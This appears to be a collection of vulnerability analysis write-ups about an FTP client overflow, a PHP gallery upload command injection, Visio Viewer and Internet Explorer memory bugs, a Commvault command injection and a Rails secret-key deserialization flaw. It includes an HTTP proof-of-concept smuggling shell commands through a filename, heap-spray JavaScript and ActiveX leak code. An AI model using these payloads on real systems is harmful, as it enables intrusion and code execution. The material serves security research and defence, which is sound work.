    if ( strstr(charResBuffer, "powerweb") )
    {
      *(_DWORD *)dword_47B1E0 = 6;
      goto LABEL_206;
    }
  }
...

In addition, this buffer is actually on the stack, and it’s 4096 long:

-00001010 charResBuffer   db 4096 dup(?)

This means that if the server responds with something longer than 4096 bytes for the SYST request,
the data may corrupt the stack, and cause a stack-based buffer overflow. At the end of

arbitrary code execution:

.text:0040AC39 lea esp, [ebp-2048h]
.text:0040AC3F pop ebx
.text:0040AC40 pop esi
.text:0040AC41 pop edi
.text:0040AC42 leave
.text:0040AC43 retn
”`

Since whoever is using SendFTPRequest is responsible for providing the buffer of the server
response, and there are 47 other cross-references, it is possible there are different ways to
trigger the same bug. However, since it doesn’t look like there is a patch (because the product
is no longer in active development, from the exploit developer’s perspective, it is not necessary
to look for other ways to exploit it).

1
Technical Analysis
  • In fact, doesn’t seem like the user should be authenticated at all. Looking at this request:
POST /gallery/upload/index HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------21456260222104
Content-Length: 970
-----------------------------21456260222104
Content-Disposition: form-data; name="title"
1
-----------------------------21456260222104
Content-Disposition: form-data; name="image_add"
1
-----------------------------21456260222104
Content-Disposition: form-data; name="description"
1
-----------------------------21456260222104
Content-Disposition: form-data; name="tags"

-----------------------------21456260222104
Content-Disposition: form-data; name="MAX_FILE_SIZE"
100000000
-----------------------------21456260222104
Content-Disposition: form-data; name="APC_UPLOAD_PROGRESS"
511ad0922b50f
-----------------------------21456260222104
Content-Di sposition: form-data; name="file"; filename="1 & ls -la > file.txt"
Content-Type: application/octet-stream
1
-----------------------------21456260222104
Content-Disposition: form-data; name="submit"
Update
-----------------------------21456260222104--

According to my testing, really authentication isn’t needed to reach the vulnerable code.

  • Vulnerability: The vulnerable resides on modules/gallery/upload/index.php, in the uploadFile() function, where
    $exec is called with partially user controlled data:
$command = "mv " . $_FILES['file']['tmp_name'] . " $zip";
//die;
exec ($command, $output = array (), $res);


$command = "chmod 777 " . $zip;
exec ($command, $output = array (), $res);

$command = "unzip -o -UU " . $zip;
exec ($command, $output = array (), $res);

The $zip variable can be partially controlled:

$zip = "/tmp/" . $_FILES['file']['name'];

Since $_FILES[‘file’][‘name’] is used for injection “/” is a badchar, which makes exploitation (of something usefull) really difficult:

  1. Execution is with www-data privileges by default, not a lot of things to do.
  2. You are executing from modules/gallery/upload where by default, and in the recommended installation user hasn’t privileges for writting. So
    the provided PoC by htbridge doesn’t work at all in a default installation:
Content-Di sposition: form-data; name="file"; filename="1 & ls -la > file.txt"

You cannot write file.txt in modules/gallery/upload by default.

My PoC:

POST /gallery/upload/index HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:10.0.1) Gecko/20100101 Firefox/10.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://localhost/gallery/view/1
Content-Type: multipart/form-data; boundary=---------------------------1107861128371857341391966473
Content-Length: 360

-----------------------------1107861128371857341391966473
Content-Disposition: form-data; name="file"; filename="ls; <COMMAND>"
Content-Type: text/plain

msf.txt

-----------------------------1107861128371857341391966473
Content-Disposition: form-data; name="submit"

Upload File
-----------------------------1107861128371857341391966473--
1
Technical Analysis

PoC

Details

Crash Windows XP SP3 Visio Viewer 2010

(9b8.9bc): Unknown exception - code e0000002 (first chance)
(9b8.9bc): C++ EH exception - code e06d7363 (first chance)
(9b8.9bc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=001c12b8 ebx=00000000 ecx=00400035 edx=00000000 esi=001e6498 edi=029c4240
eip=0e000000 esp=00136cf4 ebp=00136d24 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
0e000000 ??              ???
0:000> !exchain
TRIAGER: Could not open triage file : C:\Program Files\Windows Kits\8.0\Debuggers\x86\triage\oca.ini, error 2
TRIAGER: Could not open triage file : C:\Program Files\Windows Kits\8.0\Debuggers\x86\winxp\triage.ini, error 2
TRIAGER: Could not open triage file : C:\Program Files\Windows Kits\8.0\Debuggers\x86\triage\user.ini, error 2
00136db4: *** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\PROGRA~1\MICROS~2\Office14\VVIEWER.DLL -
VVIEWER!GetAllocCounters+132fc0 (602ae0fd)
00136de0: VVIEWER!GetAllocCounters+1332f5 (602ae432)
00136e2c: VVIEWER!GetAllocCounters+1311ba (602ac2f7)
00136ecc: VVIEWER!GetAllocCounters+1309e1 (602abb1e)
00136f40: VVIEWER!GetAllocCounters+130f7c (602ac0b9)
001381f4: VVIEWER!GetAllocCounters+11cf02 (6029803f)
00138228: VVIEWER!GetAllocCounters+11baee (60296c2b)
0013eae0: USER32!_except_handler3+0 (7e44048f)
  CRT scope  0, func:   USER32!UserCallWinProcCheckWow+155 (7e44ac6b)
0013eb40: USER32!_except_handler3+0 (7e44048f)
0013ee5c: BROWSEUI!_except_handler3+0 (76001b21)
  CRT scope  0, filter: BROWSEUI!BrowserProtectedThreadProc+56 (75fa5394)
                func:   BROWSEUI!BrowserProtectedThreadProc+72 (75fa53b5)
0013ffe0: kernel32!_except_handler3+0 (7c839ac0)
  CRT scope  0, filter: kernel32!BaseProcessStart+29 (7c843882)
                func:   kernel32!BaseProcessStart+3a (7c843898)

!heap addressses come on!!!!
js_pivot = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");

while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();
heap_obj.debugHeap(true);
for (var i=1; i < 0x1e0; i++) {
	heap_obj.alloc(block);
}
heap_obj.debugHeap(false);
JS

heap spray to populate 200020

<script>
	var heap_obj = new heapLib.ie(0x20000);
	var nops = unescape("%u0c0c%u0c0c");

	while (nops.length < 0x80000) nops += nops;
	var shellcode = nops.substring(0, 0x800);

	while (shellcode.length < 0x40000) shellcode += shellcode;
	var block = shellcode.substring(0, (0x1000-6)/2);

	alert(1);
	heap_obj.gc();
	heap_obj.debugHeap(true);
	for (var i=1; i < 0x1E; i++) {
		heap_obj.alloc(block);
	}
	heap_obj.debugHeap(false);
	alert(2);
</script>

Reliable UNICODE Pointers to the heap could be on the mapping of:

xpsp2res.dll re5.1.2600.5512

start    end        module name
01a30000 01cf5000   xpsp2res   (deferred)

About Internet Explorer 6, before update

0:010> lmv m IEXPLORE
start    end        module name
00400000 00419000   IEXPLORE   (deferred)
    Image path: C:\Program Files\Internet Explorer\IEXPLORE.EXE
    Image name: IEXPLORE.EXE
    Timestamp:        Sun Apr 13 20:34:13 2008 (48025225)
    CheckSum:         00017A61
    ImageSize:        00019000
    File version:     6.0.2900.5512
    Product version:  6.0.2900.5512
    File flags:       0 (Mask 3F)
    File OS:          40004 NT Win32
    File type:        1.0 App
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      Microsoft Corporation
    ProductName:      Microsoft® Windows® Operating System
    InternalName:     iexplore
    OriginalFilename: IEXPLORE.EXE
    ProductVersion:   6.00.2900.5512
    FileVersion:      6.00.2900.5512 (xpsp.080413-2105)
    FileDescription:  Internet Explorer
    LegalCopyright:   © Microsoft Corporation. All rights reserved.

After update

0:018> lmv m IEXPLORE
start    end        module name
00400000 00419000   IEXPLORE   (deferred)
    Image path: C:\Program Files\Internet Explorer\IEXPLORE.EXE
    Image name: IEXPLORE.EXE
    Timestamp:        Sun Apr 13 20:34:13 2008 (48025225)
    CheckSum:         00017A61
    ImageSize:        00019000
    File version:     6.0.2900.5512
    Product version:  6.0.2900.5512
    File flags:       0 (Mask 3F)
    File OS:          40004 NT Win32
    File type:        1.0 App
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      Microsoft Corporation
    ProductName:      Microsoft® Windows® Operating System
    InternalName:     iexplore
    OriginalFilename: IEXPLORE.EXE
    ProductVersion:   6.00.2900.5512
    FileVersion:      6.00.2900.5512 (xpsp.080413-2105)
    FileDescription:  Internet Explorer
    LegalCopyright:   © Microsoft Corporation. All rights reserved.

After updates:

Internet Explorer 7

0:014> lmv m IEFRAME
start    end        module name
009c0000 00f89000   IEFRAME    (deferred)
    Image path: C:\WINDOWS\system32\IEFRAME.dll
    Image name: IEFRAME.dll
    Timestamp:        Tue Aug 14 03:54:09 2007 (46C10B41)
    CheckSum:         005CA70C
    ImageSize:        005C9000
    File version:     7.0.5730.13
    Product version:  7.0.5730.13
    File flags:       8 (Mask 3F) Private
    File OS:          40004 NT Win32
    File type:        2.0 Dll
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      Microsoft Corporation
    ProductName:      Windows® Internet Explorer
    InternalName:     IEFRAME.DLL
    OriginalFilename: IEFRAME.DLL
    ProductVersion:   7.00.5730.13
    FileVersion:      7.00.5730.13 (longhorn(wmbla).070711-1130)
    FileDescription:  Internet Explorer
    LegalCopyright:   © Microsoft Corporation. All rights reserved.
2
Technical Analysis

Introduction

Commvault is a data protection and information management software; an enterprise-level data
platform that contains modules to back up, restore, archive, replicate, and search data.

According to public documentation, the data is protected by installing agent software on the
physical or virtual hosts, which use the OS or application native APIs to protect data in a
consistent state. Production data is processed by the agent on client computers and backuped
up through a data manager (the MediaAgent) to disk, tape, or cloud storage. All data
management activity in the environment is tracked by a centralized server (called CommServe),
and can be managed by administrators through a central user interface. End users can access
protected data using web browsers or mobile devices.

One of the base services of Commvault is vulnerable to a remote command injection attack,
specifically the cvd service. It was a Metasploit submission by @rwincey as PR #9340.

Vulnerable Application

According to the public advisory, Commvault v11 SP5 or prior are vulnerable to this
vulnerability.

The specific vulnerable version I tested was 11.0.80.0, and the software was obtained from
the Metasploit contributor @rwincey. The software is available from our Google Drive at:

Vulnerable Apps –> Commvault –> Commvault_R80_SP5_22September16.exe.

The version of the vulnerable DLL is:

    Image path: C:\Program Files\Commvault\ContentStore\Base\CVDataPipe.dll
    Image name: CVDataPipe.dll
    Timestamp:        Wed Dec 21 11:59:21 2016 (585AC2F9)
    CheckSum:         002ED404
    ImageSize:        002F0000
    File version:     11.80.50.60437
    Product version:  11.0.0.0
    File flags:       1 (Mask 3F) Debug
    File OS:          40004 NT Win32
    File type:        1.0 App
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      Commvault
    ProductName:      Commvault
    InternalName:     CVDataPipe
    OriginalFilename: CVDataPipe.dll
    ProductVersion:   11.0.0.0
    FileVersion:      11.80.50.60437
    PrivateBuild:
    SpecialBuild:
    FileDescription:
    LegalCopyright:   Copyright (c) 2000-2016
    LegalTrademarks:
    Comments:

Root Cause Analysis

Based on the information we have from the pull request, the vulnerability is a command injection, so
that’s where we begin reversing.

Usually, there are two ways to execute a command in a C/C++ application, one of them is WinExec(),
and the other one is CreateProcess():

BOOL WINAPI CreateProcess(
  _In_opt_    LPCTSTR               lpApplicationName,
  _Inout_opt_ LPTSTR                lpCommandLine,
  _In_opt_    LPSECURITY_ATTRIBUTES lpProcessAttributes,
  _In_opt_    LPSECURITY_ATTRIBUTES lpThreadAttributes,
  _In_        BOOL                  bInheritHandles,
  _In_        DWORD                 dwCreationFlags,
  _In_opt_    LPVOID                lpEnvironment,
  _In_opt_    LPCTSTR               lpCurrentDirectory,
  _In_        LPSTARTUPINFO         lpStartupInfo,
  _Out_       LPPROCESS_INFORMATION lpProcessInformation
);

Since CreateProcess() is meant to replace WinExec() according to Microsoft, we can create a
break point there fist in our debugger (WinDBG), and we hit it:

0:044> g
Breakpoint 3 hit
kernel32!CreateProcessA:
00000000`76fe8730 4c8bdc          mov     r11,rsp

Looking at the callstack of this kernel32!CreateProcessA, we already have a pretty good idea
locating the vulnerability:

0:044> k
Child-SP          RetAddr           Call Site
00000000`11a36b78 000007fe`f378a40f kernel32!CreateProcessA
00000000`11a36b80 000007fe`f377714e CVDataPipe!execCmd+0x7af
00000000`11a3f340 000007fe`f3777a69 CVDataPipe!CVDMessageHandler+0x78e
00000000`11a3fbd0 000007fe`f9cdc58d CVDataPipe!CVDMessageHandler+0x10a9
00000000`11a3fd40 000007fe`f9cdc1b1 CvBasicLib!CvThreadPool::th_defaultWorkerObj+0x3cd
00000000`11a3fe40 000007fe`f9cd2073 CvBasicLib!CvThreadPool::th_defaultWorker+0x51
00000000`11a3fe90 000007fe`f9a84f7f CvBasicLib!CvThread::~CvThread+0x63
00000000`11a3fee0 000007fe`f9a85126 MSVCR120!_callthreadstartex+0x17 [f:\dd\vctools\crt\crtw32\startup\threadex.c @ 376]
00000000`11a3ff10 00000000`76f6f56d MSVCR120!_threadstartex+0x102 [f:\dd\vctools\crt\crtw32\startup\threadex.c @ 354]
00000000`11a3ff40 00000000`770a3281 kernel32!BaseThreadInitThunk+0xd
00000000`11a3ff70 00000000`00000000 ntdll!RtlUserThreadStart+0x1d

There are two things that are interesting. One of them is CVDataPipe!CVDMessageHandler, and the
other one is CVDataPipe!execCmd.

The Metasploit exploit specifically sends a code of ```9h```, which is the message type for ```execCmd```:

.text:0000000180147103 loc_180147103: ; CODE XREF: CVDMessageHandler(int,selectStruct_t *,CQiSocket,void *):loc_180146D78j
.text:0000000180147103 lea rax, [rsp+888h+var_220] ; jumptable 0000000180146D78 case 9
.text:000000018014710B mov [rsp+888h+var_600], rax
.text:0000000180147113 mov rdx, [rsp+888h+sock]
.text:000000018014711B mov rcx, [rsp+888h+var_600]
.text:0000000180147123 call cs:??0CQiSocket@@QEAA@AEBV0@@Z ; CQiSocket::CQiSocket(CQiSocket const &)
.text:0000000180147129 mov [rsp+888h+var_5F0], rax
.text:0000000180147131 mov r8, [rsp+888h+arg_18]
.text:0000000180147139 mov rdx, [rsp+888h+var_5F0]
.text:0000000180147141 mov rcx, [rsp+888h+structSelect]
.text:0000000180147149 call ?execCmd@@YAXPEAUselectStruct_t@@VCQiSocket@@PEAX@Z ; execCmd(selectStruct_t *,CQiSocket,void *)


If we take a closer look at the ```execCmd``` function, we can tell the purpose of it is for processes such as:

* ifind (For restoring purposes)
* BackupShadow.exe (For archiving)
* Pub (Map file)
* createIndex (A Commvault process for building index)


.text:0000000180159F1B loc_180159F1B: ; CODE XREF: execCmd(selectStruct_t *,CQiSocket,void *)+261j
.text:0000000180159F1B ; DATA XREF: .rdata:0000000180286258o
.text:0000000180159F1B lea rdx, aIfind ; “ifind”
.text:0000000180159F22 lea rcx, [rsp+87B8h+ApplicationName] ; Str
.text:0000000180159F2A call cs:strstr
.text:0000000180159F30 test rax, rax
.text:0000000180159F33 jnz short loc_180159F6D
.text:0000000180159F35 lea rdx, aBackupshadow_e ; “BackupShadow.exe”
.text:0000000180159F3C lea rcx, [rsp+87B8h+ApplicationName] ; Str
.text:0000000180159F44 call cs:strstr
.text:0000000180159F4A test rax, rax
.text:0000000180159F4D jnz short loc_180159F6D
.text:0000000180159F4F lea rdx, aPub ; “Pub”
.text:0000000180159F56 lea rcx, [rsp+87B8h+ApplicationName] ; Str
.text:0000000180159F5E call cs:strstr

.text:000000018015A0BA loc_18015A0BA: ; CODE XREF: execCmd(selectStruct_t *,CQiSocket,void *)+307j
.text:000000018015A0BA lea rdx, aCreateindex ; “createIndex”
.text:000000018015A0C1 lea rcx, [rsp+87B8h+ApplicationName] ; Str
.text:000000018015A0C9 call cs:strstr
.text:000000018015A0CF test rax, rax
.text:000000018015A0D2 jz loc_18015A220


However, if you don't call one of these processes, the ```exeCmd``` will assume you want to run your
custom process, and pass it to ```CreateProcess``` anyway:

.text:000000018015A361 loc_18015A361: ; CODE XREF: execCmd(selectStruct_t *,CQiSocket,void *)+675j
.text:000000018015A361 call cs:GetEnvironmentStrings
.text:000000018015A367 mov [rsp+87B8h+var_86A8], rax
.text:000000018015A36F lea rax, [rsp+87B8h+StartupInfo]
.text:000000018015A377 mov rdi, rax
.text:000000018015A37A xor eax, eax
.text:000000018015A37C mov ecx, 68h
.text:000000018015A381 rep stosb
.text:000000018015A383 mov [rsp+87B8h+StartupInfo.cb], 68h
.text:000000018015A38E lea rax, [rsp+87B8h+ProcessInformation]
.text:000000018015A396 mov rdi, rax
.text:000000018015A399 xor eax, eax
.text:000000018015A39B mov ecx, 18h
.text:000000018015A3A0 rep stosb
.text:000000018015A3A2 mov [rsp+87B8h+StartupInfo.dwFlags], 1
.text:000000018015A3AD xor eax, eax
.text:000000018015A3AF mov [rsp+87B8h+StartupInfo.wShowWindow], ax
.text:000000018015A3B7 lea rax, [rsp+87B8h+ProcessInformation]
.text:000000018015A3BF mov [rsp+87B8h+lpProcessInformation], rax ; lpProcessInformation
.text:000000018015A3C4 lea rax, [rsp+87B8h+StartupInfo]
.text:000000018015A3CC mov [rsp+87B8h+lpStartupInfo], rax ; lpStartupInfo
.text:000000018015A3D1 mov [rsp+87B8h+lpCurrentDirectory], 0 ; lpCurrentDirectory
.text:000000018015A3DA mov [rsp+87B8h+lpEnvironment], 0 ; lpEnvironment
.text:000000018015A3E3 mov [rsp+87B8h+dwCreationFlags], 10h ; dwCreationFlags
.text:000000018015A3EB mov [rsp+87B8h+bInheritHandles], 0 ; bInheritHandles
.text:000000018015A3F3 xor r9d, r9d ; lpThreadAttributes
.text:000000018015A3F6 xor r8d, r8d ; lpProcessAttributes
.text:000000018015A3F9 lea rdx, [rsp+87B8h+CommandLine] ; lpCommandLine
.text:000000018015A401 lea rcx, [rsp+87B8h+ApplicationName] ; lpApplicationName
.text:000000018015A409 call cs:CreateProcessA
”`

It is unclear whether allowing an arbitrary custom process is intentional or not, it is unsafe
anyway considering the cvd process binds to 0.0.0.0, so anybody can access to it.

1
Technical Analysis

-

Looks like this has changed.

1
Technical Analysis

Info Leak Through ForceRemoteBehavior

The ForceRemoteBehavior getter, when using an “unitialized” issymbol
object allows to disclose address from issymbol. Issymbol isn’t aslr
compatible, but could rebase. Anyway, issymbol doesn’t contain pointers
to interesting API’s for ASLR bypass, so even when it would be easy
to use the issymbol.dll it won’t be usefull because of this.

<html>
<body>
<object classid='clsid:3c9dff6f-5cb0-422e-9978-d6405d10718f' id='test'></object>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<script language='javascript'>
alert(test.ForceRemoteBehavior);
</script>
</body>
</html>

Info Leak through StartupColumnTranslate

Overflowing the vulnerable InternationalSeparator() method with 212 bytes
allows to reach the pointer to the StartupColumnTranslate property (string).

By overflowing this pointer should be possible to retrieve arbitrary data
from the memory map by using the StartupColumnTranslate getter:

.text:1000EF40 StartupColumnTranslate_sub_1000EF40 proc near ; DATA XREF: .rdata:101DCE98o
.text:1000EF40
.text:1000EF40 var_10          = byte ptr -10h
.text:1000EF40 var_C           = dword ptr -0Ch
.text:1000EF40 var_4           = dword ptr -4
.text:1000EF40
.text:1000EF40                 push    0FFFFFFFFh
.text:1000EF42                 push    offset sub_101B7579
.text:1000EF47                 mov     eax, large fs:0
.text:1000EF4D                 push    eax
.text:1000EF4E                 push    ecx
.text:1000EF4F                 push    esi
.text:1000EF50                 mov     eax, ___security_cookie
.text:1000EF55                 xor     eax, esp
.text:1000EF57                 push    eax
.text:1000EF58                 lea     eax, [esp+18h+var_C]
.text:1000EF5C                 mov     large fs:0, eax
.text:1000EF62                 add     ecx, 2540h ; ecx + 2540h => pointer to StartupColumnTranslate property
.text:1000EF68                 push    ecx
.text:1000EF69                 lea     ecx, [esp+1Ch+var_10]
.text:1000EF6D                 call    ds:??0?$CStringT@_WV?$StrTraitMFC_DLL@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@QAE@ABV01@@Z ; ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>> const &)
.text:1000EF73                 lea     ecx, [esp+18h+var_10]
.text:1000EF77                 mov     [esp+18h+var_4], 0
.text:1000EF7F                 call    ds:?AllocSysString@?$CStringT@_WV?$StrTraitMFC_DLL@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@QBEPA_WXZ ; ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::AllocSysString(void)
.text:1000EF85                 lea     ecx, [esp+18h+var_10] ; void *
.text:1000EF89                 mov     esi, eax
.text:1000EF8B                 call    ds:__imp_??1?$CStringT@_WV?$StrTraitMFC_DLL@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@QAE@XZ ; ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(void)
.text:1000EF91                 mov     eax, esi
.text:1000EF93                 mov     ecx, [esp+18h+var_C]
.text:1000EF97                 mov     large fs:0, ecx
.text:1000EF9E                 pop     ecx
.text:1000EF9F                 pop     esi
.text:1000EFA0                 add     esp, 10h
.text:1000EFA3                 retn
.text:1000EFA3 StartupColumnTranslate_sub_1000EF40 endp

PROBLEM: It’s using the Microsoft Foundation Classes, and create fake
strings memory objects in memory isn’t so easy! We should dig in to that,
should be possible with more work!

2
Technical Analysis

Set innerHTML
[*] EBX after EnsureRecalcNotify is: 0x0998cff0

0998cff0 ???????? ???????? ???????? ????????
0998d000 ???????? ???????? ???????? ????????
0998d010 ???????? ???????? ???????? ????????
0998d020 ???????? ???????? ???????? ????????
0998d030 ???????? ???????? ???????? ????????
0998d040 ???????? ???????? ???????? ????????
0998d050 ???????? ???????? ???????? ????????
0998d060 ???????? ???????? ???????? ????????


Which is lated used in the crash (see ESI):

(d9c.694): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0bcebd00 ebx=00000000 ecx=11cf98b5 edx=aa0082bb esi=0998cff0 edi=047fd70c
eip=6b8199cd esp=047fd6d0 ebp=047fd6e8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
MSHTML!QIClassID+0x38:
6b8199cd 8b06 mov eax,dword ptr [esi] ds:0023:0998cff0=????????


This is because in the vulnerable version, EnsureRecalcNotify returns the invalid
reference, passes it to GetLineInfo, and later used in the crash:

.text:639F5549 loc_639F5549: ; CODE XREF: CDisplayPointer::MoveToMarkupPointer(IMarkupPointer *,IDisplayPointer *)+6Ej
.text:639F5549 test eax, eax
.text:639F554B jz loc_6378185D
.text:639F5551 push 1
.text:639F5553 mov edi, eax
.text:639F5555 call ?EnsureRecalcNotify@CElement@@QAEJH@Z ; CElement::EnsureRecalcNotify(int)
.text:639F555A lea ecx, [esp+18h+var_8] ; After the EnsureRecalcNotify call, EBX is invalid
.text:639F555E push ecx
.text:639F555F push ebx
.text:639F5560 call GetLineInfo ; To the crash
.text:639F5565 jmp loc_63908A6E


In the patched version, the return value of EnsureNotifyValue is checked before calling GetLineInfo:

.text:639F5213 loc_639F5213: ; CODE XREF: CDisplayPointer::MoveToMarkupPointer(IMarkupPointer *,IDisplayPointer *)+6Fj
.text:639F5213 test eax, eax
.text:639F5215 jz loc_63780DDD
.text:639F521B push 1
.text:639F521D mov edi, eax
.text:639F521F call ?EnsureRecalcNotify@CElement@@QAEJH@Z ; CElement::EnsureRecalcNotify(int)
.text:639F5224 mov edi, eax
.text:639F5226 test edi, edi
.text:639F5228 js loc_63907FAF ; to RETN
.text:639F522E mov edx, [ebp+arg_4]
.text:639F5231 lea ecx, [esp+18h+var_8]
.text:639F5235 push ecx
.text:639F5236 push edx
.text:639F5237 call GetLineInfo
.text:639F523C jmp loc_63907F1E
”`

1
Technical Analysis

Background

Ruby on Rails is a server-side web application framework written in Ruby. It is a model-view-controller (MVC) archtecture, providing default structures for a database, a web service, and web pages. It is also a popular choice of framework among well known services and products such as Github, Bloomberg, Soundcloud, Groupon, Twitch.tv, and of course, Rapid7s Metasploit.

Ruby on Rails versions including 5.2.2.1 and prior are vulnerable to a deserialization attack, because the Rails application by default uses its own name as the secret_key_base in development mode. This can be easily extracted by visiting an invalid resource for a route, which as a result allows a remote user to create and deliver a signed serialized payload, load it by the application, and gain remote code execution.

Please note that this is not the same as the “DoubleTap” vulnerability. The other one is a directory traversal attack that in theory could be chained to aid remote code execution.

In this documentation, I will go over:

  • The setup I used to test the vulnerable environment.
  • My analysis on the vulnerability.
  • Some information about patching.

Vulnerable Setup

In order to set up a vulnerable box for testing, do the following on a Linux (Ubuntu) machine, assuming rvm is already installed:

$ rvm gemset create test
$ rvm gemset use test
$ gem install rails '5.2.1'
$ rails new demo

Next, cd to demo, and then modify the Gemfile like this:

$ echo "gem 'rails', '5.2.1'" >> Gemfile
$ echo "gem 'sqlite3', '~> 1.3.6', '< 1.4'" >> Gemfile
$ echo "source 'https://rubygems.org'" >> Gemfile
$ bundle

Next, add a new controller:

rails generate controller metasploit

And add the index method for that controller (under app/controllers/metasploit_controller.rb):

class MetasploitController < ApplicationController
  def index
    render file: "#{Rails.root}/test.html"
  end
end

In the root directory, add a new test.html.

echo Hello World > test.html

Also, add that new route in config/routes.rb:

Rails.application.routes.draw do
  resources :metasploit
end

And finally, start the application:

rails s -b 0.0.0.0

By default, the application should be using its name as the secret key that is hashed in MD5.

Vulnerability Analysis

The best way to understand the vulnerabilty is by looking at Rails’ application.rb source code. Most importantly, the vulnerability comes from the secret_key_base method in the Application class (see railties/lib/rails/application.rb):

def secret_key_base
  if Rails.env.test? || Rails.env.development?
    secrets.secret_key_base || Digest::MD5.hexdigest(self.class.name)
  else
    validate_secret_key_base(
      ENV["SECRET_KEY_BASE"] || credentials.secret_key_base || secrets.secret_key_base
      )
  end
end

We see that in order to be vulnerable, we either need to be in test mode, or development mode. That way, the application will wither rely on a secret_key_base from somewhere (explained later), or it computes its own based on the application name.

Rails 5.2 (2017)

Before we move on with the analysis, it is interesting to point out that the vulnerable code we are looking at right now was actually meant to improve Rails security with encrypted credentials, which was introduced in Aug 3rd, 2017. Although meant for better security, it did not start off safe, but in fact, worse:

def secret_key_base
  if Rails.env.test? || Rails.env.development?
    Digest::MD5.hexdigest self.class.name
    # Code omitted below

You can see the pull request here.

Before this, Rails used to rely on config/secrets.yml, which wasnt protected by encryption like 5.2’s credentials.yml.enc file.

Where is the Secret?

According to the vulnerable code, we know that by default, Rails would try to load the secret_key_base somewhre, otherwise it relies on the application name. On a newly installed Rails app, it seems it just defaults back to the application name, but let us take a look at the first condition anyway:

secrets.secret_key_base

Here we know that the secret_key_base comes from secrets. If we look around a little, we know that is actually a method:

def secrets
  @secrets ||= begin
    secrets = ActiveSupport::OrderedOptions.new
    files = config.paths["config/secrets"].existent
    files = files.reject { |path| path.end_with?(".enc") } unless config.read_encrypted_secrets
    secrets.merge! Rails::Secrets.parse(files, env: Rails.env)

    # Fallback to config.secret_key_base if secrets.secret_key_base isn't set
    secrets.secret_key_base ||= config.secret_key_base
    # Fallback to config.secret_token if secrets.secret_token isn't set
    secrets.secret_token ||= config.secret_token

    if secrets.secret_token.present?
      ActiveSupport::Deprecation.warn(
        "`secrets.secret_token` is deprecated in favor of `secret_key_base` and will be removed in Rails 6.0."
        )
    end

    secrets
  end
end

And very quickly, we see that the secret comes from config/secrets.*, encrypted or not. Well, by default, a Rails app does not actually have this file, so it makes perfect sense we always fall back to the application name (in MD5) as the secret_key_base by default.

Notice the above function basically means the secret is loaded from a file, and it is parsed. It does not actually tell us how that secret is parsed, so naturally this line has my curiosity:

secrets.merge! Rails::Secrets.parse(files, env: Rails.env)

And Rails::Secrets.parse comes from the secrets.rb file:

def parse(paths, env:)
  paths.each_with_object(Hash.new) do |path, all_secrets|
    require "erb"

    secrets = YAML.load(ERB.new(preprocess(path)).result) || {}
    all_secrets.merge!(secrets["shared"].deep_symbolize_keys) if secrets["shared"]
    all_secrets.merge!(secrets[env].deep_symbolize_keys) if secrets[env]
  end

This tells a couple of things:

  • The secrets file should be a ERB template, and it is serialized.
  • Before it is loaded, the content is spit out by a method called preprocess

If the secrets file is encrypted (ends with .enc), then this decryption routine should run before it is deserialized:

def _decrypt(encrypted_message, purpose)
  cipher = new_cipher
  encrypted_data, iv, auth_tag = encrypted_message.strip.split("--".freeze).map { |v| ::Base64.strict_decode64(v) }

  # Currently the OpenSSL bindings do not raise an error if auth_tag is
  # truncated, which would allow an attacker to easily forge it. See
  # https://github.com/ruby/openssl/issues/63
  raise InvalidMessage if aead_mode? && (auth_tag.nil? || auth_tag.bytes.length != 16)

  cipher.decrypt
  cipher.key = @secret
  cipher.iv  = iv
  if aead_mode?
    cipher.auth_tag = auth_tag
    cipher.auth_data = ""
  end

  decrypted_data = cipher.update(encrypted_data)
  decrypted_data << cipher.final

  message = Messages::Metadata.verify(decrypted_data, purpose)
  @serializer.load(message) if message
rescue OpenSSLCipherError, TypeError, ArgumentError
  raise InvalidMessage
end

Basically, the code is expecting the input to be in this format, and is split by --:

string1--string2--string3

The first string is the actual encrypted data. The second string is the IV. The third is the auth tag. Each substring is Base64 encoded, so after splitting the string, they need to be decoded. What happens next depends on the code using the decryption method, beause it needs to specity what cipher to use. In the case of secrets.yml.enc, we are expecting AES-128-GCM, because it is specified in secrets.rb:

@cipher = "aes-128-gcm"

After that, our decrypted string is deserialized, and loaded as the secret. Technically, if a user has access to secrets.yml, they could backdoor this too to gain remote code execution.

